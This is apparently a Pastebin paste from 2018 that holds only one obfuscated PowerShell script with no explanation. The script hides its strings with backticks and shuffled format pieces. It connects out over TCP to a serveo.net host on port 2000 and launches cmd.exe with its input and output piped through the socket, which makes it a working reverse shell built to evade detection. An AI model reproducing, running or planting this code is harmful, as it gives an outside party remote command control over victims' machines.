Advertisement
Guest User

Untitled

a guest
Dec 10th, 2018
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.13 KB | None | 0 0
  1. function R`sc{if (${C}."COnNECt`Ed" -eq ${t`RuE}) {${c}.("{1}{0}" -f 'e','Clos').Invoke()};if (${P}."ExI`Tc`ode" -ne ${NU`ll}) {${P}.("{1}{0}"-f'ose','Cl').Invoke()};exit;};${A}=("{4}{3}{1}{0}{2}"-f 'eo.n','erv','et','.s','mt');${p}=("{0}{1}"-f '2','000');${C}=Ne`W-obJ`ecT ("{5}{3}{4}{1}{0}{2}" -f '.tcpcl','et.sockets','ient','yste','m.n','s');${C}.("{0}{1}" -f'conne','ct').Invoke(${a},${P});${s}=${C}.("{1}{0}{2}" -f't','Ge','Stream').Invoke();${NB}=nEw-Ob`Je`ct ("{1}{0}{2}{4}{3}"-f't','Sys','em','[]','.Byte') ${c}."ReC`E`IvEbufferSi`ze";${p}=n`Ew-ObjE`Ct ("{2}{0}{4}{3}{1}{6}{5}" -f's','Diagnos','Sy','em.','t','.Process','tics');${P}."sT`ARt`InFO"."F`iLenA`me"=("{0}{2}{1}"-f'cm','xe','d.e');${P}."S`TAR`Tinfo"."rE`Direc`TsTA`N`daRdInPuT"=1;${P}."s`TartiN`FO"."rEdiR`ecTStanDar`Dou`TPUt"=1;${P}."stAR`TiN`Fo"."u`seSh`EllExeCU`Te"=0;${p}.("{1}{0}"-f'tart','S').Invoke();${I`S}=${p}."STANDa`Rd`I`Nput";${OS}=${p}."S`TANDArd`oUtp`UT";STAr`T-s`LEep 1;${e}=n`Ew-oB`jECt ("{4}{1}{5}{3}{2}{0}{6}" -f 'Asc','ste','t.','Tex','Sy','m.','iiEncoding');while(${o`S}.("{0}{1}" -f 'Pe','ek').Invoke() -ne -1){${o} += ${e}."gE`T`StR`InG"(${os}.("{1}{0}" -f'ad','Re').Invoke())};${S}.("{1}{0}"-f'te','Wri').Invoke(${e}.("{2}{1}{0}" -f 'Bytes','et','G').Invoke(${O}),0,${O}."l`eNGtH");${o}=${Nu`LL};${d}=${F`A`lSE};${t}=0;while (-not ${D}) {if (${C}."cONN`Ec`T`ED" -ne ${t`RUE}) {R`sc};${P`oS}=0;${i}=1; while ((${I} -gt 0) -and (${P`os} -lt ${NB}."l`eNgth")) {${R}=${s}.("{1}{0}"-f 'ad','Re').Invoke(${nb},${P`OS},${NB}."lE`N`GtH" - ${p`os});${P`os}+=${r};if (-not ${p`Os} -or ${P`OS} -eq 0) {r`Sc};if (${nb}[0..$(${p`OS}-1)] -contains 10) {break}};if (${P`oS} -gt 0){${S`Tr}=${e}."GEt`s`TR`ing"(${nB},0,${P`OS});${i`S}.("{1}{0}" -f 'ite','wr').Invoke(${s`TR});St`A`RT-`Sleep 1;if (${P}."E`xi`TCodE" -ne ${NU`ll}){r`SC}else{${o}=${e}."ge`TsTRInG"(${o`S}.("{1}{0}" -f 'd','Rea').Invoke());while(${OS}.("{1}{0}" -f'ek','Pe').Invoke() -ne -1){${o} += ${e}."g`etsTr`ing"(${o`S}.("{0}{1}" -f'Re','ad').Invoke());if (${O} -eq ${S`TR}) {${o}=''}};${s}.("{1}{0}"-f'te','Wri').Invoke(${E}.("{2}{0}{1}" -f 'tByt','es','Ge').Invoke(${o}),0,${O}."Le`NG`Th");${O}=${N`ULL};${S`Tr}=${NU`Ll}}}else{R`SC}};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement